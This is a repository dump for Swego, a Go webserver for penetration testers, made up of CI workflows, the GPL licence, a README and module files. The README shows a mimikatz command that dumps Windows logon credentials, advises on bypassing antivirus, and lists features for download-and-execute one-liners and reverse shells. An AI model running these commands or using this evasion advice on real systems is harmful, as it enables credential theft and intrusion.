├── .github └── workflows │ ├── go.yml │ └── gorelease.yml ├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── images └── swego.png ├── renovate.json └── src ├── .Swego.yaml ├── .gitignore ├── cmd ├── root.go ├── run.go └── web.go ├── controllers ├── embeddedFiles.go.old ├── manageDirectory.go ├── middleware.go ├── oneliners.go ├── parsingArgs.go ├── runEmbedded_darwin.go.old ├── runEmbedded_linux.go.old ├── runEmbedded_windows.go.old ├── standardDirectory.go └── upload.go ├── routers ├── parseHttpParameter.go └── router.go ├── utils ├── certs.go └── utils.go ├── views ├── directoryListing.tpl ├── oneliners.tpl ├── upload.tpl └── views.go └── webserver.go /.github/workflows/go.yml: -------------------------------------------------------------------------------- 1 | name: Go 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | 11 | build: 12 | name: Build 13 | runs-on: ubuntu-latest 14 | steps: 15 | 16 | - name: Set up Go 1.x 17 | uses: actions/setup-go@v2 18 | with: 19 | go-version: ^1.13 20 | 21 | - name: Check out code into the Go module directory 22 | uses: actions/checkout@v2 23 | 24 | - name: Get dependencies 25 | run: | 26 | go get -v -t -d ./... 27 | if [ -f Gopkg.toml ]; then 28 | curl https://raw.githubusercontent.com/golang/dep/master/install.sh | sh 29 | dep ensure 30 | fi 31 | 32 | - name: Build 33 | run: go build -v ./... 34 | 35 | - name: Test 36 | run: go test -v ./... 37 | -------------------------------------------------------------------------------- /.github/workflows/gorelease.yml: -------------------------------------------------------------------------------- 1 | name: goreleaser 2 | 3 | on: 4 | push: 5 | tags: 6 | - v*.* 7 | 8 | permissions: 9 | contents: write 10 | 11 | jobs: 12 | goreleaser: 13 | runs-on: ubuntu-latest 14 | steps: 15 | - 16 | name: Checkout 17 | uses: actions/checkout@v2 18 | with: 19 | fetch-depth: 0 20 | - 21 | name: Set up Go 22 | uses: actions/setup-go@v2 23 | with: 24 | go-version: 1.22 25 | - 26 | name: Run GoReleaser 27 | uses: goreleaser/goreleaser-action@v2 28 | with: 29 | distribution: goreleaser 30 | version: latest 31 | args: release 32 | workdir: src 33 | env: 34 | CGO_ENABLED: 0 35 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Swego 2 | 3 | Swiss army knife Webserver in Golang. 4 | Keep simple like the python SimpleHTTPServer but with many features 5 | 6 | ![Swego screenshot](./images/swego.png) 7 | 8 | ## Usage 9 | 10 | ### Run the binary 11 | 12 | If you don't want to build it, binaries are availables on https://github.com/nodauf/Swego/releases 13 | 14 | Otherwise, `build-essential` should be installed and `GOPATH` configured: 15 | ``` 16 | git clone https://github.com/nodauf/Swego.git 17 | cd Swego/src 18 | make compileLinux # Or make compileWindows 19 | ``` 20 | 21 | ### Usage 22 | 23 | web subcommand: 24 | 25 | ``` 26 | $ ./webserver web --help 27 | Start the webserver (default subcommand) 28 | 29 | Usage: 30 | Swego web [flags] 31 | 32 | Flags: 33 | -b, --bind int Bind Port (default 8080) 34 | -c, --certificate string HTTPS certificate : openssl req -new -x509 -sha256 -key server.key -out server.crt -days 365 35 | -d, --disableListing Disable directory listing 36 | -g, --gzip Enables gzip/zlib compression (default true) 37 | --ip string Binding IP (default "0.0.0.0") 38 | -k, --key string HTTPS Key : openssl genrsa -out server.key 2048 39 | -o, --oneliners Generate oneliners to download files 40 | -p, --password string Password for basic auth (default "notsecure") 41 | --private string Private folder with basic auth (default "/home/florian/dev/SimpleHTTPServer-golang/src/private") 42 | --promptPassword Prompt for for basic auth's password 43 | -r, --root string Root folder (default "/home/florian/dev/SimpleHTTPServer-golang/src") 44 | -s, --searchAndReplace string Search and replace string in embedded text files 45 | --tls Enables HTTPS 46 | -u, --username string Username for basic auth (default "admin") 47 | 48 | Global Flags: 49 | --config string config file (default is $HOME/.Swego.yaml) 50 | -h, --help Help message 51 | ``` 52 | 53 | run subcommand: 54 | 55 | ``` 56 | $ ./webserver web --help 57 | Run an embedded binary 58 | 59 | Usage: 60 | Swego run [flags] 61 | 62 | Flags: 63 | -a, --args string Arguments for the binary 64 | -b, --binary string Binary to execute 65 | -l, --list List embedded binaries 66 | 67 | Global Flags: 68 | --config string config file (default is $HOME/.Swego.yaml) 69 | -h, --help Help message 70 | ``` 71 | 72 | ### Web server over HTTP 73 | ``` 74 | $ ./webserver 75 | Sharing /tmp/ on 8080 ... 76 | Sharing /tmp/private on 8080 ... 77 | ``` 78 | 79 | ### Web server over HTTPS 80 | ``` 81 | $ openssl genrsa -out server.key 2048 82 | Generating RSA private key, 2048 bit long modulus (2 primes) 83 | ..........................................+++++ 84 | .................................................................................................................+++++ 85 | e is 65537 (0x010001) 86 | 87 | $ openssl req -new -x509 -sha256 -key server.key -out server.crt -days 365 88 | You are about to be asked to enter information that will be incorporated 89 | into your certificate request. 90 | What you are about to enter is what is called a Distinguished Name or a DN. 91 | There are quite a few fields but you can leave some blank 92 | For some fields there will be a default value, 93 | If you enter '.', the field will be left blank. 94 | ----- 95 | Country Name (2 letter code) [AU]: 96 | State or Province Name (full name) [Some-State]: 97 | Locality Name (eg, city) []: 98 | Organization Name (eg, company) [Internet Widgits Pty Ltd]: 99 | Organizational Unit Name (eg, section) []: 100 | Common Name (e.g. server FQDN or YOUR name) []: 101 | Email Address []: 102 | 103 | $ ./webserver web --tls --key server.key --certificate server.crt 104 | Sharing /tmp/ on 8080 ... 105 | Sharing /tmp/private on 8080 ... 106 | ``` 107 | 108 | ### Web server using private directory and root directory 109 | 110 | #### Private folder on same directory 111 | 112 | ``` 113 | $ ./webserver-linux-amd64 web --private ThePrivateFolder --username nodauf --password nodauf 114 | Sharing /tmp/ on 8080 ... 115 | Sharing /tmp/ThePrivateFolder on 8080 ... 116 | ``` 117 | 118 | #### Different path for root and private directory 119 | ``` 120 | $ ./webserver-linux-amd64 web --private /tmp/private --root /home/nodauf --username nodauf --password nodauf 121 | Sharing /home/nodauf on 8080 ... 122 | Sharing /tmp/private on 8080 ... 123 | ``` 124 | 125 | ### Embedded binary (only on Windows) 126 | 127 | #### List the embedded binaries: 128 | 129 | ``` 130 | C:\Users\Nodauf>.\webserver.exe run 131 | Usage: 132 | Swego run [flags] 133 | 134 | Flags: 135 | -a, --args string Arguments for the binary 136 | -b, --binary string Binary to execute 137 | -l, --list List embedded binaries 138 | 139 | Global Flags: 140 | --config string config file (default is $HOME/.Swego.yaml) 141 | -h, --help Help message 142 | 143 | ``` 144 | 145 | #### Run binary with arguments: 146 | 147 | ``` 148 | C:\Users\Nodauf>.\webserver.exe run --binary mimikatz.exe --args "privilege::debug sekurlsa::logonpasswords" 149 | .... 150 | ``` 151 | Running binary this way could help bypassing AV protections. Sometimes the arguments sent to the binary may be catch by the AV, if possible use the interactive CLI of the binary (like mimikatz) or recompile the binary to change the arguments name. 152 | 153 | ## Features 154 | 155 | * HTTPS (auto generate certificate / key if no certificate / key specified) 156 | * Directory listing 157 | * Define a private folder with basic authentication 158 | * Upload multiple files 159 | * Download file as an encrypted zip (password: infected) 160 | * Download folder with a zip 161 | * Embedded files 162 | * Run embedded binary written in C# (only available on Windows) 163 | * Create a folder from the browser 164 | * Ability to execute embedded binary 165 | * Feature for search and replace (for fill the IP address in reverse shell for example) 166 | * Generate oneliners to download and execute a embedded file 167 | * Config file [examples .Swego.yaml](./src/.Swego.yaml) 168 | * Auto generate random certificate for TLS 169 | 170 | ## Todo 171 | * Webdav (with capture Net-NTLM hash) 172 | * Log file 173 | * JS/CSS menu to give command line in powershell, some lolbins, curl, wget to download and execute 174 | * Use regex for search and replace 175 | * Using virtual file system to manage embedded files 176 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module Swego 2 | 3 | go 1.22 4 | 5 | require ( 6 | github.com/gabriel-vasile/mimetype v1.4.3 7 | github.com/manifoldco/promptui v0.9.0 8 | github.com/mitchellh/go-homedir v1.1.0 9 | github.com/spf13/cobra v1.8.0 10 | github.com/spf13/viper v1.18.2 11 | github.com/yeka/zip v0.0.0-20231116150916-03d6312748a9 12 | golang.org/x/crypto v0.23.0 13 | ) 14 | 15 | require ( 16 | github.com/chzyer/readline v1.5.1 // indirect 17 | github.com/fsnotify/fsnotify v1.7.0 // indirect 18 | github.com/hashicorp/hcl v1.0.0 // indirect 19 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 20 | github.com/magiconair/properties v1.8.7 // indirect 21 | github.com/mitchellh/mapstructure v1.5.0 // indirect 22 | github.com/pelletier/go-toml/v2 v2.2.2 // indirect 23 | github.com/sagikazarmark/locafero v0.4.0 // indirect 24 | github.com/sagikazarmark/slog-shim v0.1.0 // indirect 25 | github.com/sourcegraph/conc v0.3.0 // indirect 26 | github.com/spf13/afero v1.11.0 // indirect 27 | github.com/spf13/cast v1.6.0 // indirect 28 | github.com/spf13/pflag v1.0.5 // indirect 29 | github.com/subosito/gotenv v1.6.0 // indirect 30 | go.uber.org/multierr v1.11.0 // indirect 31 | golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 // indirect 32 | golang.org/x/net v0.25.0 // indirect 33 | golang.org/x/sys v0.20.0 // indirect 34 | golang.org/x/term v0.20.0 // indirect 35 | golang.org/x/text v0.15.0 // indirect 36 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect 37 | gopkg.in/ini.v1 v1.67.0 // indirect 38 | gopkg.in/yaml.v3 v3.0.1 // indirect 39 | ) 40 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= 2 | github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM= 3 | github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ= 4 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= 5 | github.com/chzyer/readline v1.5.1 h1:upd/6fQk4src78LMRzh5vItIt361/o4uq553V8B5sGI= 6 | github.com/chzyer/readline v1.5.1/go.mod h1:Eh+b79XXUwfKfcPLepksvw2tcLE/Ct21YObkaSkeBlk= 7 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= 8 | github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04= 9 | github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8= 10 | github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 11 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 12 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 13 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= 14 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 15 | github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= 16 | github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= 17 | github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= 18 | github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= 19 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= 20 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= 21 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 22 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 23 | github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= 24 | github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= 25 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 26 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 27 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 28 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 29 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 30 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 31 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 32 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 33 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 34 | github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= 35 | github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= 36 | github.com/manifoldco/promptui v0.9.0 h1:3V4HzJk1TtXW1MTZMP7mdlwbBpIinw3HztaIlYthEiA= 37 | github.com/manifoldco/promptui v0.9.0/go.mod h1:ka04sppxSGFAtxX0qhlYQjISsg9mR4GWtQEhdbn6Pgg= 38 | github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= 39 | github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= 40 | github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= 41 | github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= 42 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= 43 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= 44 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 45 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= 46 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 47 | 